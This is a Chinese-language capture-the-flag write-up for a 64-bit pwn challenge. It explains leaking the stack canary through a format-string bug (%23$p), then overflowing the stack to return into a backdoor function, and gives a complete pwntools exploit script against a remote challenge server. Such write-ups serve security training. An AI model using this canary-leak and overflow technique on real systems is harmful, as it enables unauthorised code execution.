64位的程序,並且開啟了NX和Canary,還有Partial RELRO,got表有寫權限
執行一下文件看看流程,存在兩個漏洞
用IDA看看 可以看到執行2的時候 存在字符串漏洞
按1的時候,存在棧溢出漏洞
看一下流程圖和匯編可以知道readsqword這個地方有canary保護,只有 rax 和fs:28h 兩個值相等的時候 才能跳轉到返回值,反之則調用stak_chk_fail
同時還有一個后門函數
思路:首先利用字符串漏洞,泄露出canary的值,然后在函數要返回的時候再填回去,之后利用棧溢出,讓其返回到后門函數
先看一下字符串的偏移
可以看到偏移了6個字節
確定canary和輸入的參數之間的偏移
buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23
因為64位的程序,每個格式化字符串都是8字節,同理32位是4字節
然后再利用棧溢出調用后門函數即可get flag
構造的腳本如下
from pwn import * r=remote('111.198.29.45',53501) r.recvuntil('3. Exit the battle') r.sendline('2') r.sendline('%23$p') r.recvuntil('0x') canary=int(r.recv(16),16) print (canary) flag_addr=0x4008da payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr) r.recvuntil('3. Exit the battle') r.sendline('1') r.sendline(payload) r.interactive()
執行結果